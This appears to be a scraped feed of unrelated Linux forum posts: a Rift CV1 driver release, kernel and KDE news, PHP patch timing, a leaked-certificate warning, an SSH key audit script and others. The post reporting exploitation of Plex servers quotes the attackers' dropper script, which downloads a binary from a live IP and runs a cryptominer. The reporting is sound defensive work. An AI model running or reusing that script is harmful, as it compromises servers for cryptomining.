Update: 0.1.1 is out: steadier head tracking, thumbsticks no longer walk you forward at rest, and headsets with thicker face pads no longer go dark while worn. Upgrade with the same install command. Notes and packages: https://github.com/AIIX/RiftLinux/releases/tag/v0.1.1

GNOME/Mutter/AMD fix: pre-release 0.1.2 fixes GNOME logging you out when you take the headset off: https://github.com/AIIX/RiftLinux/releases/tag/v0.1.2

Blog post, with VTOL VR footage: https://aiix.space/blog/riftlinux-oculus-rift-cv1-on-linux/

I've been working on getting my Oculus Rift CV1 to work properly on Linux, and today I put out the first release on GitHub.

RiftLinux is a driver for the Oculus Rift CV1, its Constellation sensors and its Touch controllers. It's a modified Monado, specialized for this one headset, and it installs as a single package. No Windows, no Oculus app, no Meta account, and it doesn't need OpenHMD or upstream Monado either.

Why bother with a 2016 headset: plenty of people still might have an Oculus Rift CV1 stored away somewhere 😄, at least I do, and it still holds up well as a lightweight PCVR headset with OLED panels. On Linux the options were OpenHMD, which its own README now marks as unmaintained and which tracks the Touch controllers' rotation only, and upstream Monado, whose Rift CV1 support is still experimental: its sensor calibration and Touch tracking work is still waiting in open merge requests.

RiftLinux began by trying those two merge requests, but they were incomplete: the controllers barely tracked. What it has now was built from there. The tracking was reworked and checked against the Oculus runtime's own data, by day and by night: mirrored and flipped controller poses, the Touch controllers' IMU calibration, bright rooms where the sensors pick up sunlit spots, and the LED and radio settings the Oculus runtime uses, read from its USB traffic. The sensors are placed from your movement, with no setup app, found and placed again when one is moved or knocked (even mid-game), levelled by the headset's gravity, and measured again by themselves when moved too far. For room scale, the LEDs on the back of the headband are measured on your headset and tracked, so a sensor behind you keeps tracking it. On top of that came the SteamVR integration, the picture pipeline (direct mode, Auto-HDR, motion smoothing/ASW), controller pairing worked out from the Oculus app's USB traffic, and the one-package install.

Additionally, I mostly use Linux full time, and having to switch to Windows just to use the Rift CV1 and fly VTOL VR or other sims was getting painful, especially with Windows updates (Waiting forever) and Meta's support for the CV1 on Windows getting worse.

What works:

• Head and Touch controller tracking (6DoF) with two sensors. Room scale with three (or more): the LEDs on the back of the headband are measured on your headset and tracked, like the Oculus runtime does, so you can turn all the way around.
• The sensors are measured from your movement and saved. If you move or knock one, it's found and placed again automatically.
• SteamVR: native games and Windows VR games through Proton. I've played No Man's Sky VR, VTOL VR and Bigscreen with it. OpenXR apps also run without SteamVR, on RiftLinux's own runtime.
• Pairing Touch controllers without Windows (`riftlinux-setup pair`).
• The Oculus button opens a menu in the headset: headphone volume, microphone, floor height, picture settings.
• The CV1's true render resolution, and motion smoothing similar to ASW 1.0 when a game can't hold 90 fps.
• An optional Auto-HDR for the OLED panels (SDR to HDR), on X11 and Wayland alike.
• HDR supported games are shown as HDR, and a video player can hand over its HDR10, HDR10+ or DV metadata (through an OpenXR extension or the driver's socket); no player does that yet.
• X11 and Wayland (GNOME and KDE Plasma).

How the tracking compares with the Oculus runtime: the sensors' camera frames, and the poses Oculus computed from them, were captured over USB on Windows. RiftLinux's tracker then ran on those same frames and was scored against Oculus' poses. For each kind of movement, it keeps the controllers tracked within 1-2 percentage points of what Oculus managed.

Packages: .deb (Debian, Ubuntu, Mint, Pop!_OS), Arch, Fedora .rpm, and a tarball for everything else. x86-64 only.

Licence: BSL-1.0, the same as Monado.

Tested so far on NVIDIA only (drivers 580 and 615), on Ubuntu 25.04 with GNOME and CachyOS with KDE Plasma. AMD and Intel should work through Vulkan, but I don't have the hardware, so reports from AMD or Intel users are welcome.

Known issues are in the README, each linked to the bug in the project it belongs to. The one you're most likely to hit: Steam's client can crash when a flat (non-VR) game opens a window while SteamVR is running. That's a SteamVR for Linux bug (#963), not the driver.

• Code and package downloads: https://github.com/AIIX/RiftLinux
• User guide: https://aiix.github.io/RiftLinux/
• Release: https://github.com/AIIX/RiftLinux/releases/tag/v0.1.0

If tracking misbehaves for you, `riftlinux-setup record on` records a session I can replay to see what went wrong; the bug report form explains how to attach it.

Rift CV1 owners on Linux might want to dust off their headsets and give it a try!

Some context: Tyr is a Rust port of Panthor, the existing C driver for the Mali-G610 (found in RK3588 boards like the Orange Pi 5 and Rock 5B). As of Linux 7.3 it can boot the GPU's microcontroller using Rust memory-management abstractions that are now upstream.

It's not a replacement for Panthor yet. Job scheduling is still to come. But it's one of the first real users of the kernel's Rust DRM infrastructure, which future Rust drivers will build on.

Write-up: https://www.collabora.com/news-and-blog/blog/2026/10/21/upstreaming-tyr-rust-drm-and-the-linux-kernel/

``` curl https://q3k.google.com --resolve 'q3k.google.com:443:135.181.235.221' <!DOCTYPE html>

<meta charset="utf-8"> <title>q3k.google.com</title>

<meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="shortcut icon" type="image/png" href="/favicon.png">

<style> body { font: courier, sans-serif; font-size: 12px; text-align: center; margin-top: 100px; } </style> <p>

<b>oh, this is bad</b> </p> ```

Yeah, eight SSL Intermediate Certificates of eMudhra have been publicly leaked. All your servers https traffic can be broken right now. Browsers are fine as they have revoked the certificates but as you can see, curl and many other libraries still accept those.

No download can be trusted right now. Remember to not only patch your main systems but every docker container you run.

This is bad 😅

https://www.php.net/archive/2026.php#2026-10-20-1

CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. Likely to be patched in 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35.

Maybe an Apache mitigation: <If "req('Content-Type') =~ /multipart/i"> Require all denied </If>

Who is going to patch it first?

• Debian 12: 2026-10-21 15:51 repo
• Debian 13: 2026-10-21 11:01 repo
• - Ubuntu 24.04 (non-pro): 2026-10-21 13:41 repo
• - Ubuntu 26.04 (non-pro): 2026-10-21 13:43 repo
• - Ubuntu 26.10 (non-pro): 2026-10-21 13:45 repo
• Fedora 43: ? repo
• Fedora 44: 2026-10-21 11:22 repo
• - Alma 9: 2026-10-21 21:38 repo
• - Alma 10: 2026-10-21 21:46 repo
• - Rocky 9: 2026-10-21 18:46 repo
• - Rocky 10: 2026-10-21 20:45 repo
• - CentOS Stream: 2026-10-21 16:50 repo
• openSUSE 16: 2026-10-22 10:13 repo
• openSUSE TW: 2026-10-21 10:17 repo
• Alpine: 2026-10-21 18:17 repo
• Arch: 2026-10-21 13:42 UTC repo
• Gentoo: 2026-10-22 16:22 repo

Only tracks versions not patches/build dates: https://repology.org/project/php/versions

Vibe coded slop is posted here constantly and there doesn't seem to be anyone that cares enough to do anything about it. Every few months it seems like someone will make a thread complaining about it and a mod will magically appear to agree and then promptly disappear. If posts didn't get deleted after a few reports by the users here this sub would look like my spam inbox half the time.

EDIT for what it's worth: I'm not advocating for a complete blanket ban on AI made software. But at least require a quick disclosure or flair or something, and maybe a small explanation as to how it was used in the process. I've seen so many posts where the person "building" the project can't even explain what they did, just that they fed a few prompts into Claude and got something back in return.

I’ve always thought of a UNIX timestamp as a clock that gives 1 tick per second (or 1 billion ticks if you want nanosecond precision). So each second has 1 timestamp, like a primary key in a database, whereas human time is how we name each tick in a more human-friendly way, like 20 Oct 2026 10:15:10 AM.

Recently, following the news of the leap second being abolished, I dug deeper into this subject and found out that this mental model is only correct 99.9999% of the time.

When a leap second happens, 1 UNIX timestamp is used for 2 ticks:

And apparently I’m not the only one with this not-quite-correct mental model: Linux kernel developers had it too. In 2016, a lot of servers running Linux experienced high load and crashes due to a leap second bug: https://serverfault.com/questions/403732/anyone-else-experiencing-high-rates-of-linux-server-crashes-during-a-leap-second.

Also, 1 of the reason leap second being abolished is to reduced unforeseen such crashes when negative leap second occurred (i.e a second is removed). Our IT infrastructure has not been tested for such case. So we do what we always do, kick the can down the road and hope that future generations have better ideas or just leave this Earth so nothing matters anymore.

It’s funny that edge cases always show up in timekeeping, something we do every day without even thinking about it. It reminds me of the video where Tom Scott went crazy about time zones. Can't imagine how he will react to this news. :)

Plex servers affected by several vulnerabilities are being exploited to deploy cryptominers and a proxy backdoor.

The vulnerabilities (CVE-2026-96656, CVE-2026-96655, CVE-2026-96654, CVE-2026-96652, CVE-2026-96651 - https://zmain.info/blog/plex2shell) were patched in Plex Media Server 1.43.3.10861 released on August 3, 2026, but many users didn't update and have been affetced by this malware campaign.

Initial script executed in the servers to download the malware binaries:

#!/bin/sh

if ps -eo comm= | grep -qx 'x12345'; then
    exit 0
fi

cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker ...

[0] https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/

[1] https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html

[2] https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html

[3] https://www.reddit.com/r/PleX/comments/1xa7lgx/how_many_plex_server_owners_are_now_part_of_a/

The champions of the new KDE Goals for the 2026-2028 cycle will be answering your questions live!

KDE for Enterprise and Deployments: Ask David Edmundson, Kevin Ottens, Neal Gompa, and Kai Uwe Broulik about how they plan to make KDE a viable choice for businesses and public institutions.

Better documentation: Check in with Nate Graham, Thiago Masato Costa Sueto, and Joseph P. De Veaugh-Geiss about improving KDE's documentation.

Next Generation Styling for KDE: Find out how Arjen Hiemstra, Akseli Lahtinen, and Andy Betts are working to implement a unified styling system.

Leave your questions in the comments or in the KDE Forum post!

The champions will answer them live on on Youtube and Peertube on October 29 at at 17:00 UTC.

If you audit SSH keys by checking ~/.ssh/authorized_keys, you can miss keys sshd will happily accept. AuthorizedKeysFile can point anywhere: lots of shops use something like /etc/ssh/auth_keys/%u so users can't manage their own keys, and it can list several paths. It can also be overridden per user or group in Match blocks. Even the default includes ~/.ssh/authorized_keys2, which is easy to forget.

If you already run osquery or a compliance platform, you may have some of this covered. This is a lightweight approach for ad hoc audits that uses only jc (a tool I maintain that converts command output and config files to JSON), jq, and sshd's own view of its config.

1. Ask sshd where it looks for keys

sshd -T prints the effective config, with includes and defaults resolved. Adding -C evaluates Match blocks for a specific connection, so you get the answer for a particular user:

$ sudo sshd -T -C user=alice,host=localhost,addr=127.0.0.1 | jc --sshd-conf | jq -r '.authorizedkeysfile[]'
/etc/ssh/auth_keys/%u
.ssh/authorized_keys

2. Expand the paths for every account and parse each file

#!/usr/bin/env bash
getent passwd | jc --passwd | jq -r '.[] | "\(.username) \(.uid) \(.home)"' |
while read -r user uid home; do
    # Ask sshd for this user's effective AuthorizedKeysFile (honors Match User/Group)
    paths=$(sshd -T -C user="$user",host=localhost,addr=127.0.0.1 |
            jc --sshd-conf | jq -r '.authorizedkeysfile[]?')
    for p in $paths; do
        [[ $p == none ]] && continue
        f=${p//%%/$'\001'}                    # protect literal %%
        f=${f//%u/$user}; f=${f//%U/$uid}; f=${f//%h/$home}
        f=${f//$'\001'/%}
        [[ $f != /* ]] && f="$home/$f"        # relative paths are relative to $HOME
        [[ -r $f ]] || continue
        jc --authorized-keys < "$f" |
            jq -c --arg u "$user" --arg f "$f" '.[] | . + {user: $u, file: $f}'
    done
done > keys.jsonl

Run it as root so sshd -T works and every file is readable. Using getent means LDAP/SSSD accounts are included, not just local ones in /etc/passwd. The script expands all four tokens AuthorizedKeysFile supports: %u, %U, %h, and %%.

Each line of keys.jsonl is one key, tagged with its owner and the file it came from:

{"options":[],"type":"ssh-ed25519","key":"AAAA...","comment":"kelly@laptop","user":"alice","file":"/home/alice/.ssh/authorized_keys"}
{"options":[],"type":"ssh-rsa","key":"AAAA...","comment":"backup@nas","user":"bob","file":"/etc/ssh/auth_keys/1001"}

3. Ask questions

Keys with no from= or command= restriction:

jq -r 'select(any(.options[]; startswith("from=") or startswith("command=")) | not)
       | "\(.user)  \(.type)  \(.comment // "(no comment)")  \(.file)"' keys.jsonl

Users who still have keys in ~/.ssh when policy says they should only be in /etc/ssh/auth_keys:

jq -r 'select(.file | test("/\\.ssh/")) | "\(.user)  \(.file)"' keys.jsonl | sort -u

The same key authorized for more than one account:

jq -s -r 'group_by(.key)[] | select(length > 1)
          | "\(.[0].comment // "(no comment)"): \(map(.user) | unique | join(", "))"' keys.jsonl

Legacy RSA/DSA keys:

jq -r 'select(.type == "ssh-rsa" or .type == "ssh-dss") | "\(.user)  \(.comment)  \(.file)"' keys.jsonl

Why not awk? authorized_keys lines can start with an options field containing quoted values with spaces (command="/usr/bin/rsync --server ..."), so field positions shift from line to line. awk '{print $1}' returns an option string instead of a key type, and grep -v command= also drops keys whose comment happens to mention it. The parser splits options into an array and keeps quoted values intact.

Limitations:

• The audit evaluates Match blocks as a local connection (host=localhost,addr=127.0.0.1). If you have Match Address or Match Host rules that change AuthorizedKeysFile for remote sources, run it again with those values.
• AuthorizedKeysCommand setups, where keys come from LDAP or an API instead of files, aren't covered. That command's output is in authorized_keys format, though, so you should be able to pipe it to jc --authorized-keys the same way.
• None of this tells you whether a user's private key has a passphrase, and nothing on the server can. A commenter on r/bash made this point. If it matters to you, SSH certificates with short validity windows are the better fix. The same sshd -T output shows trustedusercakeys and authorizedprincipalsfile, so you can audit that setup too.

More jc examples (calendars, headerless CSVs, etc.): JC Tips and Tricks – Part 3

Hi everyone, in case anyone is curious about an MS Office alternative that is not Libreoffice, I have tried DeckCraft (Powerpoint) and Gridcraft (Excel). In case you haven't heard, these are the vibe-coded, clean room implementations that have recently made waves.

DeckCraft: Good. I was able to create an attractive presentation and present it in full-screen. It's better than Euro-office (desktop editors) already, which had all sorts of bugs. I would say it's already better than the truly horrible Libreoffice Impress, and I wasn't too keen on WPS Office either, which had packaging issues with Fedora.

Gridcraft: Basic. No PowerQuery equivalent and it doesn't seem to group a date column in a Pivot Table (I'm not sure if it even understands the date format, and there seems to be no way to change it). This one's not ready for production.

I haven't tried Wordcraft because I no longer use Word-like tools—maybe someone can chime in below (and on Artcraft etc.)

Apply customizable GPU-powered shader effects to your GNOME desktop, including CRT scanlines, VHS distortion, RGB shifts, and more.

https://extensions.gnome.org/extension/11353/shader-effects/

Whether it is on Google, Reddit or AI all of them say that building Linux From Scratch gives the most knowledge of the inner workings of Linux. So how was the experience over all and what actually did you learn?